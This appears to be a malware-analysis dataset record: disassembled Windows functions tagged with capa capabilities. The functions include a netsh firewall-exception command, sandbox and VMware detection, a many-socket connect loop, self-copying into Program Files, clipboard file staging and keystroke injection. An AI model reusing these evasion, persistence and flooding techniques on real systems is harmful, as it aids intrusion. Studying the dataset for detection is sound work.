joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40726d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x10
push 0
lea eax, [ebp - 0x54]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x44]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x38], 0x413fd4
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x18], 1
mov word [ebp - 0x14], 0
lea edx, [ebp - 0x54]
push edx
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0x4008
push 1
push 0
push 0
push str.netsh_firewall_add_allowedprogram_1.exe_1_ENABLE
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4072db
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0x98], str.sandbox
mov dword [ebp - 0x94], str.honey
mov dword [ebp - 0x90], str.vmware
mov dword [ebp - 0x8c], str.currentuser
mov dword [ebp - 4], 0x80
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x84]
push edx
call dword [sym.imp.USER32.dll_CharLowerA]
mov dword [ebp - 0x88], 0
jmp 0x40734c
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jae 0x407380
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp + ecx*4 - 0x98]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40737e
mov eax, 1
jmp 0x407382
jmp 0x40733d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40741f
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f3a0
push 0x40dcfe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 0
mov dword [ebp - 4], 0
push ebx
mov ebx, 0
mov eax, 1
invalid

Function at 0x40749a
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f3b0
push 0x40dcfe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
jmp 0x40750d
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4075b2
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
jmp 0x4075c8
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jae 0x4075e9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x412324]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4075e7
mov al, 1
jmp 0x4075eb
jmp 0x4075bf
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x407aaa
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
mov dword [ebp - 0x18], 0x64
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
mov cx, word [ebp + 0xc]
push ecx
call dword [0x413db0]
mov word [ebp - 0x12], ax
mov dword [ebp - 4], 0
mov dword [ebp - 0x28], 1
mov edx, dword [ebp + 8]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp + 0x10]
jge 0x407be2
mov dword [ebp - 0x1c], 0
jmp 0x407b1e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 0xc8
jge 0x407b68
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp + ecx*4 - 0x348], eax
mov edx, dword [ebp - 0x1c]
cmp dword [ebp + edx*4 - 0x348], 0xffffffff
jne 0x407b4c
jmp 0x407b15
lea eax, [ebp - 0x28]
push eax
push 0x8004667e
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + ecx*4 - 0x348]
push edx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
jmp 0x407b15
mov dword [ebp - 0x1c], 0
jmp 0x407b7a
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xc8
jge 0x407b9c
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + edx*4 - 0x348]
push eax
call dword [sym.imp.WS2_32.dll_connect]
jmp 0x407b71
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1c], 0
jmp 0x407bb8
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 0xc8
jge 0x407bd4
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x348]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407baf
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
jmp 0x407b00
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x408e49
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408ee4
mov edi, dword [ebp - 8]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x408e80
shr eax, 1
jmp 0x408e87
shr eax, 1
xor eax, 0xedb88320
loop 0x408e75
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x408e6d
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 8]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x408ea1
not eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
jmp 0x408ee6
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4092e3
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x168]
push eax
push 0x412fe4
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
je 0x409413
movsx ecx, byte [ebp - 0x13c]
cmp ecx, 0x2e
je 0x4093f0
mov edx, dword [ebp - 0x168]
and edx, 0x10
mov dword [ebp - 0x168], edx
cmp dword [ebp - 0x168], 0x10
jne 0x409361
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp eax, 1
jne 0x40935c
call fcn.004092e3
push 0x412fe8
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x4093f0
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x26c]
push edx
push 0x104
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x4093f0
lea ecx, [ebp - 0x26c]
push ecx
call dword [sym.imp.USER32.dll_CharLowerA]
push 3
push 0x412fec
lea edx, [ebp - 0x26c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x26f]
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x4093f0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 7
lea ecx, [ebp - 0x20]
push ecx
call fcn.004094ac
add esp, 0xc
push 0x80
push 0x4116a4
push 0x413ed0
lea edx, [ebp - 0x26c]
push edx
call fcn.00408eed
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409312
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret

Function at 0x40948c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x40966f
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp - 4]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov esp, ebp
pop ebp
ret
Function at 0x40a1ce
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp - 4]
push eax
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov esp, ebp
pop ebp
ret

Function at 0x40a23f
Capabilities:
Copy file
Get common file path
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._temp_syz.tmp
lea ecx, [ebp - 0x104]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x104
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x413018
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x30c]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str..zip
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x104
push 0
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x104]
push edx
push 0x413028
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0
lea ecx, [ebp - 0x30c]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x208]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40a3c8
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [ebp - 0x310], 0x118
mov eax, dword [ebp - 0x310]
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x314], eax
mov ecx, dword [ebp - 0x314]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x318], eax
mov edx, dword [ebp - 0x318]
mov dword [edx], 0x14
mov eax, dword [ebp - 0x318]
mov dword [eax + 0x10], 0
mov ecx, dword [ebp - 0x318]
add ecx, 0x14
mov dword [ebp - 0x31c], ecx
push 0x104
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp - 0x31c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x314]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov edx, dword [ebp - 0x314]
push edx
push 0xf
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov esp, ebp
pop ebp
ret
Function at 0x40b15d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x404], 0
push 0
lea ecx, [ebp - 0x404]
push ecx
push 0x400
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40b1af
jmp 0x40b1df
cmp dword [ebp - 0x404], 0
jne 0x40b1ba
jmp 0x40b1df
mov ecx, dword [ebp - 0x404]
push ecx
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp - 0x408]
push eax
call fcn.0040a9f4
add esp, 0xc
mov dword [ebp - 0x408], eax
jmp 0x40b180
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x408]
mov esp, ebp
pop ebp
ret
Function at 0x40b60a
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
jmp 0x40b629
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
cmp dword [ebp - 4], eax
jae 0x40b7a4
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
movsx eax, byte [edx]
cmp eax, 0x5b
jne 0x40b6d0
push 0
push 0
push 0
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
push 0x6c
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov word [ebp - 0xc], ax
push 0
push 0
push 0
mov cl, byte [ebp - 0xc]
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 2
push 0
mov dl, byte [ebp - 0xc]
push edx
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 2
push 0
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
push str.Edit_Hyperlink
push str.__oxFrame.class__
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x40b698
mov edx, dword [ebp - 8]
push edx
call fcn.0040b224
add esp, 4
jmp 0x40b79f
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
movsx ecx, byte [eax]
cmp ecx, 0x2b
jne 0x40b6ef
push 1
push 9
call fcn.0040b240
add esp, 8
jmp 0x40b79f
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
movsx eax, byte [edx]
cmp eax, 0x5d
jne 0x40b72e
push 1
push 9
call fcn.0040b240
add esp, 8
push 1
push 0xd
call fcn.0040b240
add esp, 8
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040b224
add esp, 4
jmp 0x40b79f
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
mov al, byte [edx]
push eax
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov word [ebp - 0x10], ax
movsx ecx, word [ebp - 0x10]
sar ecx, 8
and ecx, 1
test ecx, ecx
je 0x40b760
push 0
push 0
push 0
push 0xa0
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
mov dl, byte [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 2
push 0
mov al, byte [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
movsx ecx, word [ebp - 0x10]
sar ecx, 8
and ecx, 1
test ecx, ecx
je 0x40b79f
push 0
push 2
push 0
push 0xa0
call dword [sym.imp.USER32.dll_keybd_event]
jmp 0x40b620
mov edx, dword [ebp + 8]
push edx
call fcn.0040b224
add esp, 4
push 1
push 0xd
call fcn.0040b240
add esp, 8
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esp, ebp
pop ebp
ret
Function at 0x40be00
Capabilities:
Copy file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push 0x208
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x510]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40be40
push 0x208
push 0
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x40be48
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
push 0x104
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 4], 0
jmp 0x40be72
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc
jae 0x40bf44
mov dword [ebp - 0xc], 0
jmp 0x40be8e
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x14
jae 0x40bf3f
push 0x100
lea edx, [ebp - 0x10c]
push edx
push str._programfiles_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, dword [ebp - 4]
mov ecx, dword [eax*4 + 0x41232c]
push ecx
lea edx, [ebp - 0x10c]
push edx
push str._s_s
lea eax, [ebp - 0x50c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [ebp - 0x50c]
push ecx
mov edx, dword [ebp - 8]
add edx, 0x104
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax*4 + 0x41235c]
push ecx
mov edx, dword [ebp - 8]
add edx, 0x104
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
mov eax, dword [ebp - 8]
add eax, 0x104
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40bf3a
push 0x80
mov edx, dword [ebp - 8]
add edx, 0x104
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x40be85
jmp 0x40be69
mov eax, dword [ebp - 8]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
push ecx
call fcn.0040daeb
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x40d76e
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jle 0x40d846
cmp dword [ebp + 8], 0x200
jge 0x40d846
push 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
mov ecx, dword [eax + 0x414210]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [ebp + 8]
imul edx, edx, 0x218
cmp dword [edx + 0x414210], 0
je 0x40d7c1
mov dword [ebp - 4], 1
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
mov dword [eax + 0x414210], 0
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0x218
mov dword [ecx + 0x414204], 0
mov edx, dword [ebp + 8]
imul edx, edx, 0x218
mov dword [edx + 0x414208], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0x218
mov dword [eax + 0x41420c], 0
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0x218
mov byte [ecx + 0x414000], 0
mov edx, dword [ebp + 8]
imul edx, edx, 0x218
mov eax, dword [edx + 0x414214]
push eax
call dword [0x413e1c]
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0x218
mov dword [ecx + 0x414214], 0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401cc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401cd9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401d14
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401d10
lea ebx, [ebx]
cmp esi, eax
jae 0x401d14
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401d00
cmp esi, eax
jb 0x401d1a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x4028e0
Capabilities:
Inspect section memory permissions

Disassembly:
cmp eax, dword [ebp - 0x44]
ja 0x402925
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
Function at 0x409ff0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
mov eax, dword [0x43a4a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x436844
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x436854
push str.Shlwapi.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call edi
mov edi, eax
test esi, esi
je 0x40a13d
test edi, edi
je 0x40a13d
push 0x40
lea eax, [ebp - 0x66c]
push 0
push eax
call fcn.00421da0
xor eax, eax
push 0x206
push eax
mov dword [ebp - 0x62c], eax
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], eax
mov dword [ebp - 0x620], eax
lea eax, [ebp - 0x20a]
xor ecx, ecx
xor edx, edx
push eax
mov dword [ebp - 0x670], 0x44
mov word [ebp - reloc.avifil32.dll_AVIStreamOpenFromFileA], cx
mov word [ebp - reloc.avifil32.dll_AVIStreamOpenFromFileA], dx
call fcn.00421da0
add esp, 0x18
push 0
push 0x25
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x436878
lea edx, [ebp - 0x20c]
push edx
call edi
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
xor ecx, ecx
push 0x40e
push ecx
lea edx, [ebp - 0x61a]
push edx
mov word [ebp - reloc.avifil32.dll_AVIStreamOpenFromFileA], cx
call fcn.00421da0
push ebx
lea eax, [ebp - 0x20c]
push eax
push str.__s__start___s_
lea ecx, [ebp - 0x61c]
push 0x208
push ecx
call fcn.004207a1
add esp, 0x20
lea edx, [ebp - 0x62c]
push edx
lea eax, [ebp - 0x670]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea ecx, [ebp - 0x61c]
push ecx
lea edx, [ebp - 0x20c]
push edx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fd66
mov esp, ebp
pop ebp
ret
Function at 0x401a82
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43e14c]
jne 0x401a8c
repz ret
jmp fcn.00402759

Function at 0x40c041
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43e14c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403d64
and dword [ebp - 0x14], 0
cmp dword [0x440d34], 0
mov dword [ebp - 0x18], eax
jne 0x40c0f4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c19c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40c19c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x440d34], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x440d38], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x440d3c], eax
call edi
push eax
call esi
mov dword [0x440d44], eax
test eax, eax
je 0x40c0f4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x440d40], eax
mov eax, dword [0x440d40]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c14d
cmp dword [0x440d44], ecx
je 0x40c14d
push eax
call esi
push dword [0x440d44]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c14d
test ebx, ebx
je 0x40c14d
call edi
test eax, eax
je 0x40c144
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c144
test byte [ebp - 8], 1
jne 0x40c14d
or dword [ebp + 0x10], 0x200000
jmp 0x40c180
mov eax, dword [0x440d38]
cmp eax, dword [ebp - 0x18]
je 0x40c180
push eax
call esi
test eax, eax
je 0x40c180
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c180
mov eax, dword [0x440d3c]
cmp eax, dword [ebp - 0x18]
je 0x40c180
push eax
call esi
test eax, eax
je 0x40c180
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x440d34]
call esi
test eax, eax
je 0x40c19c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c19e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401a82
leave
ret